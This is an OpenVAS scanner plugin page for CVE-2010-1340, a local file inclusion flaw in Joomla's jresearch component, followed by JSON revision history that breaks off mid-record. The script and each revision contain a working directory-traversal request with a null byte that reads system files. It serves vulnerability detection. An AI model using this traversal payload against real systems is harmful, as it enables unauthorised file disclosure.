Joomla Component 'com_jresearch' Local File Inclusion Vulnerability
2011-06-24T00:00:00
ID OPENVAS:1361412562310902386 Type openvas Reporter Copyright (C) 2011 SecPod Modified 2019-12-05T00:00:00
Description
This host is running Joomla and is prone to local file inclusion
vulnerability.
##############################################################################
# OpenVAS Vulnerability Test
#
# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability
#
# Authors:
# Madhuri D <dmadhuri@secpod.com>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902386");
script_version("2019-12-05T15:10:00+0000");
script_cve_id("CVE-2010-1340");
script_bugtraq_id(38917);
script_tag(name:"last_modification", value:"2019-12-05 15:10:00 +0000 (Thu, 05 Dec 2019)");
script_tag(name:"creation_date", value:"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("Joomla Component 'com_jresearch' Local File Inclusion Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 SecPod");
script_family("Web application abuses");
script_dependencies("joomla_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("joomla/installed");
script_xref(name:"URL", value:"http://www.1337day.com/exploits/16376");
script_xref(name:"URL", value:"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion");
script_tag(name:"impact", value:"Successful exploitation could allow attackers to perform directory
traversal attacks and read arbitrary files on the affected application.");
script_tag(name:"affected", value:"Joomla jresearch component Version 1.2.2, Other versions may also
be affected.");
script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input via
the 'controller' parameter in 'index.php', which allows attackers to read arbitrary files via a ../(dot dot) sequences.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"summary", value:"This host is running Joomla and is prone to local file inclusion
vulnerability.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
CPE = "cpe:/a:joomla:joomla";
include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
if(!joomlaPort = get_app_port(cpe:CPE)) exit(0);
if(!joomlaDir = get_app_location(port:joomlaPort, cpe:CPE)) exit(0);
if(joomlaDir == "/") joomlaDir = "";
files = traversal_files();
foreach file (keys(files)){
url = string(joomlaDir, "/index.php?option=com_jresearch&controller=../../../../../../../../../../../../../..", files[file], "%00");
if(http_vuln_check(port:joomlaPort, url:url, pattern:file)){
report = report_vuln_url(port:joomlaPort, url:url);
security_message(port:joomlaPort, data:report);
exit(0);
}
}
exit(99);
{"id": "OPENVAS:1361412562310902386", "bulletinFamily": "scanner", "title": "Joomla Component 'com_jresearch' Local File Inclusion Vulnerability", "description": "This host is running Joomla and is prone to local file inclusion\n vulnerability.", "published": "2011-06-24T00:00:00", "modified": "2019-12-05T00:00:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902386", "reporter": "Copyright (C) 2011 SecPod", "references": ["http://www.1337day.com/exploits/16376", "http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion"], "cvelist": ["CVE-2010-1340"], "type": "openvas", "lastseen": "2019-12-06T16:45:49", "history": [{"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2010-1340"], "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "description": "This host is running Joomla and is prone to local file inclusion\n vulnerability.", "edition": 3, "enchantments": {"score": {"value": 2.1, "vector": "NONE"}}, "hash": "773ea4140b1415f5326d3f26d17fedfeb9660ab0822813391d44f7c2ec12af58", "hashmap": [{"hash": "a176a08194c9071b1d5ab80c45df94ac", "key": "description"}, {"hash": "985a8d1593356d8381e11a34d7019e2c", "key": "published"}, {"hash": "9ff00ef6cfd427915a6c434fa3f31b52", "key": "href"}, {"hash": "8b3416ddddfb6b12b0926d0c42fb23e1", "key": "reporter"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "a792e2393dff1e200b885c5245988f6f", "key": "cvss"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "7810b06b9a591e3f076a9c6bda18cb72", "key": "title"}, {"hash": "fa0d9e0f309bf8ac9c2671ddeb31a7dd", "key": "cvelist"}, {"hash": "2c104a45bc8ee43625332611b190dc40", "key": "modified"}, {"hash": "d0e29470be654a8db2023c0d938f1a9f", "key": "sourceData"}, {"hash": "cb92f3b8de59b7e18b86e262e9fe7501", "key": "pluginID"}, {"hash": "168ef83102d79473ce67b536285689d4", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902386", "id": "OPENVAS:1361412562310902386", "lastseen": "2018-10-22T16:44:14", "modified": "2018-10-20T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310902386", "published": "2011-06-24T00:00:00", "references": ["http://www.1337day.com/exploits/16376", "http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion"], "reporter": "Copyright (C) 2011 SecPod", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_joomla_com_jresearch_lfi_vuln.nasl 11997 2018-10-20 11:59:41Z mmartin $\n#\n# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902386\");\n script_version(\"$Revision: 11997 $\");\n script_cve_id(\"CVE-2010-1340\");\n script_bugtraq_id(38917);\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-20 13:59:41 +0200 (Sat, 20 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_name(\"Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2011 SecPod\");\n script_family(\"Web application abuses\");\n script_dependencies(\"joomla_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"joomla/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.1337day.com/exploits/16376\");\n script_xref(name:\"URL\", value:\"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation could allow attackers to perform directory\n traversal attacks and read arbitrary files on the affected application.\");\n\n script_tag(name:\"affected\", value:\"Joomla jresearch component Version 1.2.2, Other versions may also\n be affected.\");\n\n script_tag(name:\"insight\", value:\"The flaw is caused by improper validation of user-supplied input via\n the 'controller' parameter in 'index.php', which allows attackers to read arbitrary files via a ../(dot dot) sequences.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure of this vulnerability.\nLikely none will be provided anymore.\nGeneral solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"summary\", value:\"This host is running Joomla and is prone to local file inclusion\n vulnerability.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\n\njoomlaPort = get_http_port(default:80);\n\nif(!joomlaDir = get_dir_from_kb(port:joomlaPort, app:\"joomla\")){\n exit(0);\n}\n\nif(joomlaDir == \"/\") joomlaDir = \"\";\n\nfiles = traversal_files();\nforeach file (keys(files)){\n\n url = string(joomlaDir, \"/index.php?option=com_jresearch&controller=../../../../../../../../../../../../../..\", files[file], \"%00\");\n\n if(http_vuln_check(port:joomlaPort, url:url, pattern:file)){\n report = report_vuln_url(port:joomlaPort, url:url);\n security_message(port:joomlaPort, data:report);\n exit(0);\n }\n}\n\nexit(99);", "title": "Joomla Component 'com_jresearch' Local File Inclusion Vulnerability", "type": "openvas", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 3, "lastseen": "2018-10-22T16:44:14"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": [], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "This host is running Joomla and is prone to local file inclusion\nvulnerability.", "edition": 1, "enchantments": {"score": {"value": 2.1, "vector": "NONE"}}, "hash": "fe5b479b1d6944b721402f63a06c9f1b96d276438a34434f1366700143f7f1e5", "hashmap": [{"hash": "4fb7fd6149697e74d091717ea3f1ca84", "key": "modified"}, {"hash": "985a8d1593356d8381e11a34d7019e2c", "key": "published"}, {"hash": "9ff00ef6cfd427915a6c434fa3f31b52", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8b3416ddddfb6b12b0926d0c42fb23e1", "key": "reporter"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "7810b06b9a591e3f076a9c6bda18cb72", "key": "title"}, {"hash": "9156d0fd6e74fb6d73f0d46fc67260f5", "key": "description"}, {"hash": "960a708a101d6181ba1451798276ec71", "key": "sourceData"}, {"hash": "cb92f3b8de59b7e18b86e262e9fe7501", "key": "pluginID"}, {"hash": "168ef83102d79473ce67b536285689d4", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902386", "id": "OPENVAS:1361412562310902386", "lastseen": "2018-04-06T11:36:06", "modified": "2018-04-06T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310902386", "published": "2011-06-24T00:00:00", "references": ["http://www.1337day.com/exploits/16376", "http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion"], "reporter": "Copyright (C) 2011 SecPod", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_joomla_com_jresearch_lfi_vuln.nasl 9351 2018-04-06 07:05:43Z cfischer $\n#\n# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful exploitation could allow attackers to perform directory\ntraversal attacks and read arbitrary files on the affected application.\n\nImpact Level: Application.\";\n\ntag_affected = \"Joomla jresearch component Version 1.2.2,Other versions may also\nbe affected.\";\n\ntag_insight = \"The flaw is caused by improper validation of user-supplied input via\nthe 'controller' parameter in 'index.php', which allows attackers to read\narbitrary files via a ../(dot dot) sequences.\";\n\ntag_solution = \"No solution or patch was made available for at least one year\nsince disclosure of this vulnerability. Likely none will be provided anymore.\nGeneral solution options are to upgrade to a newer release, disable respective\nfeatures, remove the product or replace the product by another one.\";\n\ntag_summary = \"This host is running Joomla and is prone to local file inclusion\nvulnerability.\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902386\");\n script_version(\"$Revision: 9351 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:05:43 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_name(\"Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\");\n script_xref(name : \"URL\" , value : \"http://www.1337day.com/exploits/16376\");\n script_xref(name : \"URL\" , value : \"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2011 SecPod\");\n script_family(\"Web application abuses\");\n script_dependencies(\"joomla_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"joomla/installed\");\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n exit(0);\n}\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\n\njoomlaPort = get_http_port(default:80);\nif(!joomlaPort){\n exit(0);\n}\n\nif(!joomlaDir = get_dir_from_kb(port:joomlaPort, app:\"joomla\")){\n exit(0);\n}\n\n## traversal_files() function Returns Dictionary (i.e key value pair)\n## Get Content to be checked and file to be check\nfiles = traversal_files();\nforeach file (keys(files))\n{\n ## Construct directory traversal attack\n url = string(joomlaDir, \"/index.php?option=com_jresearch&controller=../..\" +\n \"/../../../../../../../../../../../..\", files[file],\"%00\");\n\n ## Confirm exploit worked properly or not\n if(http_vuln_check(port:joomlaPort, url:url, pattern:file))\n {\n security_message(port:joomlaPort);\n exit(0);\n }\n}\n", "title": "Joomla Component 'com_jresearch' Local File Inclusion Vulnerability", "type": "openvas", "viewCount": 0}, "differentElements": ["cvss", "description", "cvelist", "modified", "sourceData"], "edition": 1, "lastseen": "2018-04-06T11:36:06"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2010-1340"], "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "description": "This host is running Joomla and is prone to local file inclusion\n vulnerability.", "edition": 5, "enchantments": {"dependencies": {"modified": "2019-05-29T18:39:26", "references": [{"idList": ["EDB-ID:33797"], "type": "exploitdb"}, {"idList": ["CVE-2010-1340"], "type": "cve"}, {"idList": ["JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL"], "type": "nessus"}]}, "score": {"modified": "2019-05-29T18:39:26", "value": 6.9, "vector": "NONE"}}, "hash": "86da99eb1047edd9bf49e511a6a14f73f05830bfd178fedf0e1c34afbc13a786", "hashmap": [{"hash": "8d6654cfa5f888d2a060f9d9c1b9b56c", "key": "modified"}, {"hash": "f4abc2405da7555e459e81b37c978dbf", "key": "sourceData"}, {"hash": "a176a08194c9071b1d5ab80c45df94ac", "key": "description"}, {"hash": "985a8d1593356d8381e11a34d7019e2c", "key": "published"}, {"hash": "a89198c45ce87f7ec9735a085150b708", "key": "cvss"}, {"hash": "9ff00ef6cfd427915a6c434fa3f31b52", "key": "href"}, {"hash": "8b3416ddddfb6b12b0926d0c42fb23e1", "key": "reporter"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "7810b06b9a591e3f076a9c6bda18cb72", "key": "title"}, {"hash": "fa0d9e0f309bf8ac9c2671ddeb31a7dd", "key": "cvelist"}, {"hash": "cb92f3b8de59b7e18b86e262e9fe7501", "key": "pluginID"}, {"hash": "168ef83102d79473ce67b536285689d4", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902386", "id": "OPENVAS:1361412562310902386", "lastseen": "2019-05-29T18:39:26", "modified": "2018-10-24T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310902386", "published": "2011-06-24T00:00:00", "references": ["http://www.1337day.com/exploits/16376", "http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion"], "reporter": "Copyright (C) 2011 SecPod", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_joomla_com_jresearch_lfi_vuln.nasl 12055 2018-10-24 12:00:58Z asteins $\n#\n# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902386\");\n script_version(\"$Revision: 12055 $\");\n script_cve_id(\"CVE-2010-1340\");\n script_bugtraq_id(38917);\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-24 14:00:58 +0200 (Wed, 24 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_name(\"Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2011 SecPod\");\n script_family(\"Web application abuses\");\n script_dependencies(\"joomla_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"joomla/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.1337day.com/exploits/16376\");\n script_xref(name:\"URL\", value:\"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation could allow attackers to perform directory\n traversal attacks and read arbitrary files on the affected application.\");\n\n script_tag(name:\"affected\", value:\"Joomla jresearch component Version 1.2.2, Other versions may also\n be affected.\");\n\n script_tag(name:\"insight\", value:\"The flaw is caused by improper validation of user-supplied input via\n the 'controller' parameter in 'index.php', which allows attackers to read arbitrary files via a ../(dot dot) sequences.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure of this vulnerability.\n Likely none will be provided anymore.\n General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"summary\", value:\"This host is running Joomla and is prone to local file inclusion\n vulnerability.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\nCPE = \"cpe:/a:joomla:joomla\";\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\n\nif(!joomlaPort = get_app_port(cpe:CPE)) exit(0);\nif(!joomlaDir = get_app_location(port:joomlaPort, cpe:CPE)) exit(0);\n\nif(joomlaDir == \"/\") joomlaDir = \"\";\n\nfiles = traversal_files();\nforeach file (keys(files)){\n\n url = string(joomlaDir, \"/index.php?option=com_jresearch&controller=../../../../../../../../../../../../../..\", files[file], \"%00\");\n\n if(http_vuln_check(port:joomlaPort, url:url, pattern:file)){\n report = report_vuln_url(port:joomlaPort, url:url);\n security_message(port:joomlaPort, data:report);\n exit(0);\n }\n}\n\nexit(99);\n", "title": "Joomla Component 'com_jresearch' Local File Inclusion Vulnerability", "type": "openvas", "viewCount": 7}, "differentElements": ["modified", "sourceData"], "edition": 5, "lastseen": "2019-05-29T18:39:26"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2010-1340"], "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "description": "This host is running Joomla and is prone to local file inclusion\n vulnerability.", "edition": 2, "enchantments": {"score": {"value": 2.1, "vector": "NONE"}}, "hash": "d5dd5f898d7ac475c3f7a5afccaee1caa041e2c0d7e6f37b49205dd597fad4c7", "hashmap": [{"hash": "a176a08194c9071b1d5ab80c45df94ac", "key": "description"}, {"hash": "985a8d1593356d8381e11a34d7019e2c", "key": "published"}, {"hash": "9ff00ef6cfd427915a6c434fa3f31b52", "key": "href"}, {"hash": "05bc9af1e1d97520101f265d84a0740e", "key": "modified"}, {"hash": "8b3416ddddfb6b12b0926d0c42fb23e1", "key": "reporter"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "a792e2393dff1e200b885c5245988f6f", "key": "cvss"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "f491238d8a3a0052209859355af5cc1a", "key": "sourceData"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "7810b06b9a591e3f076a9c6bda18cb72", "key": "title"}, {"hash": "fa0d9e0f309bf8ac9c2671ddeb31a7dd", "key": "cvelist"}, {"hash": "cb92f3b8de59b7e18b86e262e9fe7501", "key": "pluginID"}, {"hash": "168ef83102d79473ce67b536285689d4", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902386", "id": "OPENVAS:1361412562310902386", "lastseen": "2018-09-04T13:38:09", "modified": "2018-09-03T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310902386", "published": "2011-06-24T00:00:00", "references": ["http://www.1337day.com/exploits/16376", "http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion"], "reporter": "Copyright (C) 2011 SecPod", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_joomla_com_jresearch_lfi_vuln.nasl 11188 2018-09-03 11:04:26Z cfischer $\n#\n# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902386\");\n script_version(\"$Revision: 11188 $\");\n script_cve_id(\"CVE-2010-1340\");\n script_bugtraq_id(38917);\n script_tag(name:\"last_modification\", value:\"$Date: 2018-09-03 13:04:26 +0200 (Mon, 03 Sep 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_name(\"Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2011 SecPod\");\n script_family(\"Web application abuses\");\n script_dependencies(\"joomla_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"joomla/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.1337day.com/exploits/16376\");\n script_xref(name:\"URL\", value:\"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation could allow attackers to perform directory\n traversal attacks and read arbitrary files on the affected application.\n\n Impact Level: Application.\");\n\n script_tag(name:\"affected\", value:\"Joomla jresearch component Version 1.2.2, Other versions may also\n be affected.\");\n\n script_tag(name:\"insight\", value:\"The flaw is caused by improper validation of user-supplied input via\n the 'controller' parameter in 'index.php', which allows attackers to read arbitrary files via a ../(dot dot) sequences.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure of this vulnerability.\nLikely none will be provided anymore.\nGeneral solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"summary\", value:\"This host is running Joomla and is prone to local file inclusion\n vulnerability.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\n\njoomlaPort = get_http_port(default:80);\n\nif(!joomlaDir = get_dir_from_kb(port:joomlaPort, app:\"joomla\")){\n exit(0);\n}\n\nif(joomlaDir == \"/\") joomlaDir = \"\";\n\nfiles = traversal_files();\nforeach file (keys(files)){\n\n url = string(joomlaDir, \"/index.php?option=com_jresearch&controller=../../../../../../../../../../../../../..\", files[file], \"%00\");\n\n if(http_vuln_check(port:joomlaPort, url:url, pattern:file)){\n report = report_vuln_url(port:joomlaPort, url:url);\n security_message(port:joomlaPort, data:report);\n exit(0);\n }\n}\n\nexit(99);", "title": "Joomla Component 'com_jresearch' Local File Inclusion Vulnerability", "type": "openvas", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 2, "lastseen": "2018-09-04T13:38:09"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2010-1340"], "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "description": "This host is running Joomla and is prone to local file inclusion\n vulnerability.", "edition": 4, "enchantments": {"dependencies": {"modified": "2018-10-24T18:44:12", "references": [{"idList": ["EDB-ID:33797"], "type": "exploitdb"}, {"idList": ["CVE-2010-1340"], "type": "cve"}, {"idList": ["JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL"], "type": "nessus"}]}, "score": {"value": 2.1, "vector": "NONE"}}, "hash": "4250ff7352abbb24314c9f873abd0a9b688da57ee016f004320e2b386cd2d4b3", "hashmap": [{"hash": "8d6654cfa5f888d2a060f9d9c1b9b56c", "key": "modified"}, {"hash": "f4abc2405da7555e459e81b37c978dbf", "key": "sourceData"}, {"hash": "a176a08194c9071b1d5ab80c45df94ac", "key": "description"}, {"hash": "985a8d1593356d8381e11a34d7019e2c", "key": "published"}, {"hash": "9ff00ef6cfd427915a6c434fa3f31b52", "key": "href"}, {"hash": "8b3416ddddfb6b12b0926d0c42fb23e1", "key": "reporter"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "a792e2393dff1e200b885c5245988f6f", "key": "cvss"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "7810b06b9a591e3f076a9c6bda18cb72", "key": "title"}, {"hash": "fa0d9e0f309bf8ac9c2671ddeb31a7dd", "key": "cvelist"}, {"hash": "cb92f3b8de59b7e18b86e262e9fe7501", "key": "pluginID"}, {"hash": "168ef83102d79473ce67b536285689d4", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902386", "id": "OPENVAS:1361412562310902386", "lastseen": "2018-10-24T18:44:12", "modified": 